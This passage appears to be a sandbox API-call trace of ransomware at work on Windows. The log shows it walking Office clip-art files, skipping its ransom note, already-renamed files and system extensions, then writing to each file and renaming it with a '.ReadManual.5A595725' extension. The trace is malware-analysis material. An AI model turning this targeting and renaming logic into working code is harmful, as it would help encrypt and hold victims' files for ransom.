dwNumberOfBytesToMap=0x3888) returned 0x2f0000 [0267.419] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.419] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38808792994) returned 1 [0267.419] CloseHandle (hObject=0x184) returned 1 [0267.419] SetSecurityInfo () returned 0x57 [0267.419] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.419] CloseHandle (hObject=0x194) returned 1 [0267.419] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ae8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0171847.WMF", cAlternateFileName="")) returned 1 [0267.419] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0171847.WMF" | out: lpString1="J0171847.WMF") returned="J0171847.WMF" [0267.420] lstrcmpiW (lpString1="J0171847.WMF", lpString2="RecoveryManual.html") returned -1 [0267.420] StrStrIW (lpFirst="J0171847.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.420] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.420] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.420] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.420] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.420] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.420] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.420] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.420] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.420] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.420] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.420] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.420] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.420] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.420] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.420] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" [0267.420] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF.ReadManual.5A595725" [0267.420] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF.ReadManual.5A595725") returned 87 [0267.420] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38808885634) returned 1 [0267.420] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf")) returned 0x20 [0267.420] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.421] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6888) returned 1 [0267.421] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ae8, lpName=0x0) returned 0x184 [0267.421] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.422] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.422] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.424] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.424] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ae8) returned 0x2f0000 [0267.424] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.424] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38809282595) returned 1 [0267.424] CloseHandle (hObject=0x184) returned 1 [0267.424] SetSecurityInfo () returned 0x57 [0267.424] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.424] CloseHandle (hObject=0x194) returned 1 [0267.424] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d18, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0172035.WMF", cAlternateFileName="")) returned 1 [0267.424] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0172035.WMF" | out: lpString1="J0172035.WMF") returned="J0172035.WMF" [0267.424] lstrcmpiW (lpString1="J0172035.WMF", lpString2="RecoveryManual.html") returned -1 [0267.424] StrStrIW (lpFirst="J0172035.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.425] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.425] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.425] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.425] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.425] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.425] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.425] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.425] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.425] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.425] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.425] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.425] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.425] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.425] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.425] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" [0267.425] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF.ReadManual.5A595725" [0267.425] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF.ReadManual.5A595725") returned 87 [0267.425] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38809382330) returned 1 [0267.425] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf")) returned 0x20 [0267.425] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.426] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7448) returned 1 [0267.426] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d18, lpName=0x0) returned 0x184 [0267.426] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.426] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.427] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.428] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.428] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d18) returned 0x2f0000 [0267.429] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.429] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38809743660) returned 1 [0267.429] CloseHandle (hObject=0x184) returned 1 [0267.429] SetSecurityInfo () returned 0x57 [0267.429] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.429] CloseHandle (hObject=0x194) returned 1 [0267.429] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b74, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0172067.WMF", cAlternateFileName="")) returned 1 [0267.429] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0172067.WMF" | out: lpString1="J0172067.WMF") returned="J0172067.WMF" [0267.429] lstrcmpiW (lpString1="J0172067.WMF", lpString2="RecoveryManual.html") returned -1 [0267.429] StrStrIW (lpFirst="J0172067.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.429] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.429] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.429] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.429] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.429] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.429] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.429] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.429] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.429] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.429] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.429] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.429] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.430] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.430] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.430] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" [0267.430] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF.ReadManual.5A595725" [0267.430] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF.ReadManual.5A595725") returned 87 [0267.430] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38809844415) returned 1 [0267.430] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf")) returned 0x20 [0267.431] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.431] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7028) returned 1 [0267.431] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b74, lpName=0x0) returned 0x184 [0267.431] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.432] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.432] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.433] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.434] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1b74) returned 0x2f0000 [0267.434] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.434] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38810265506) returned 1 [0267.434] CloseHandle (hObject=0x184) returned 1 [0267.434] SetSecurityInfo () returned 0x57 [0267.434] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.434] CloseHandle (hObject=0x194) returned 1 [0267.434] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3198, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0172193.WMF", cAlternateFileName="")) returned 1 [0267.434] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0172193.WMF" | out: lpString1="J0172193.WMF") returned="J0172193.WMF" [0267.434] lstrcmpiW (lpString1="J0172193.WMF", lpString2="RecoveryManual.html") returned -1 [0267.434] StrStrIW (lpFirst="J0172193.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.434] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.434] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.434] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.434] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.434] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.434] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.434] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.435] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.435] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.435] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.435] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.435] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.435] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.435] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.435] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" [0267.435] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF.ReadManual.5A595725" [0267.435] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF.ReadManual.5A595725") returned 87 [0267.435] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38810360093) returned 1 [0267.435] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf")) returned 0x20 [0267.436] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.436] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=12696) returned 1 [0267.436] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3198, lpName=0x0) returned 0x184 [0267.436] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.437] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.437] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.439] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.439] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3198) returned 0x2f0000 [0267.439] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.439] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38810815593) returned 1 [0267.439] CloseHandle (hObject=0x184) returned 1 [0267.439] SetSecurityInfo () returned 0x57 [0267.440] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.440] CloseHandle (hObject=0x194) returned 1 [0267.440] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16e8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0174315.WMF", cAlternateFileName="")) returned 1 [0267.440] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0174315.WMF" | out: lpString1="J0174315.WMF") returned="J0174315.WMF" [0267.440] lstrcmpiW (lpString1="J0174315.WMF", lpString2="RecoveryManual.html") returned -1 [0267.440] StrStrIW (lpFirst="J0174315.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.440] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.440] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.440] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.440] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.440] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.440] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.440] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.440] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.440] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.440] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.440] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.440] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.440] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.440] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.440] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" [0267.440] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF.ReadManual.5A595725" [0267.440] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF.ReadManual.5A595725") returned 87 [0267.440] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38810911643) returned 1 [0267.440] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf")) returned 0x20 [0267.441] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.441] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5864) returned 1 [0267.441] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16e8, lpName=0x0) returned 0x184 [0267.441] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.442] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.442] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.444] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.444] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16e8) returned 0x2f0000 [0267.444] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.444] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38811280726) returned 1 [0267.444] CloseHandle (hObject=0x184) returned 1 [0267.444] SetSecurityInfo () returned 0x57 [0267.444] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.444] CloseHandle (hObject=0x194) returned 1 [0267.444] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2608, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0174635.WMF", cAlternateFileName="")) returned 1 [0267.444] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0174635.WMF" | out: lpString1="J0174635.WMF") returned="J0174635.WMF" [0267.444] lstrcmpiW (lpString1="J0174635.WMF", lpString2="RecoveryManual.html") returned -1 [0267.444] StrStrIW (lpFirst="J0174635.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.444] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.445] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.445] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.445] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.445] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.445] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.445] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.445] 